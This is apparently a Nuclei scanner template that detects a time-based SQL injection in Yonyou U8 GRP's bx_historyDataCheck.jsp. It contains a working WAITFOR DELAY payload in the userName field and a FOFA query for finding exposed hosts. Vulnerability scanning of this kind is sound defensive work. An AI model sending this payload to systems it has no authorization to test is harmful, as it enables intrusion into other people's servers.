yonyou-u8-sqli: Yonyou U8 bx_historyDataCheck - SQL Injection

id: yonyou-u8-sqli

info:
  name: Yonyou U8 bx_historyDataCheck - SQL Injection
  author: xianke
  severity: high
  description: |
    Yonyou U8 Grp contains a SQL injection vulnerability.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-grp-u8-bx_historyDataChecks-sqli.yaml
    - https://github.com/MD-SEC/MDPOCS/blob/main/Yongyou_Grp_U8_bx_historyDataCheck_Sql_Poc.py
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    fofa-query: icon_hash="-299520369"
  tags: time-based-sqli,yonyou,grp,sqli,vuln

flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /login.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - 'GRP-U8'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userName='%3bWAITFOR+DELAY+'0%3a0%3a5'--%26ysnd%3d%26historyFlag%3d

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a00473045022100b628182a3e76d242ec83340c2cdc2079e7d0c849dd38ebf8763225dcb180fae502205d325e6e1b40563229d436c77a5ea56f7b9ae4fc3467c4e08b5903edceec47d5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.